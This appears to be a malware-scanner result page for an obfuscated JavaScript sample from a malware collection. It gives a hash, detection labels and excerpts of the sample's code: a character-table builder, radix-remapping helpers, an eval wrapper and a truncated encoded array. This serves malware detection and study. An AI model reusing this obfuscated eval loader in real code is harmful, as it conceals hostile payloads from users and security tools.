Suspicious ^80% javascript-malware-collection Download

20151210_bb77f935392d9ecf2f65dfbb30894b95.js

Obfuscated eval execution

parseInt toString radix remapMassive array index assignment

SHA-2561fcd1623d523f6e8ecccb450dbdb3883a1a0baf328c2503e8b27d045f3c941ec

Evidence

Obfuscated increment/decrement via arithmetic lines 1–5

1var HcOjGIZApbGvG=[];
2XgdoLAL=(-932+932)/863;while(true){if(XgdoLAL>=(99811+925)/787){break;}HcOjGIZApbGvG[XgdoLAL]=String.fromCharCode(XgdoLAL);XgdoLAL++;}
3function uhNPk(fsMgYRZeFoM,cFvxEYgsbSFCt,NqoDdPpf){BJYT=parseInt(fsMgYRZeFoM,cFvxEYgsbSFCt);agISr=BJYT.toString(NqoDdPpf);return agISr;}function DipCxXmFIOTivMW(XLCgsahadAjVMvRtp){eval(XLCgsahadAjVMvRtp)}
4function FhgauQubKGySwDsibVcmegYFbMTvRUbMfLlczutdinwKQEdshqVpWY(hrWajtNRtKoHe,pAwkBBoMOVWuVz){ return HcOjGIZApbGvG[uhNPk(hrWajtNRtKoHe[pAwkBBoMOVWuVz],(15511+564)/643,(2215+315)/253)];}
5function CnAhXwU(ipAWbSGXFumAuGPsUGhMwFlfXmKJYEaTVoZU) {return !isNaN(parseFloat(ipAWbSGXFumAuGPsUGhMwFlfXmKJYEaTVoZU)) && isFinite(ipAWbSGXFumAu …

Massive array index assignment line 8

8:4324… ";A[861]="4g";A[862]="4e";A[863]="4l";A[864]="17";A[865]="17";A[866]="4n";A[867]="d";A[868]="a";A[869]="17";A[870]="17";A[871]="17";A[872]="17";A[873]="17";A[874]="17";A[875]="17";A[876]="17";A[877]="17";A[878]="17";A[879]="45";A[880]="42";A[881]="17";A[882]="1f";A[883]="1f";A[884]="1f";A[885]="4a";A[886]="41";A[887]="4j";A[888]="17";A[889]="2i";A[890]="3m";A[891]="4g";A[892]="41";A[893]="1f";A[894]="1g";A …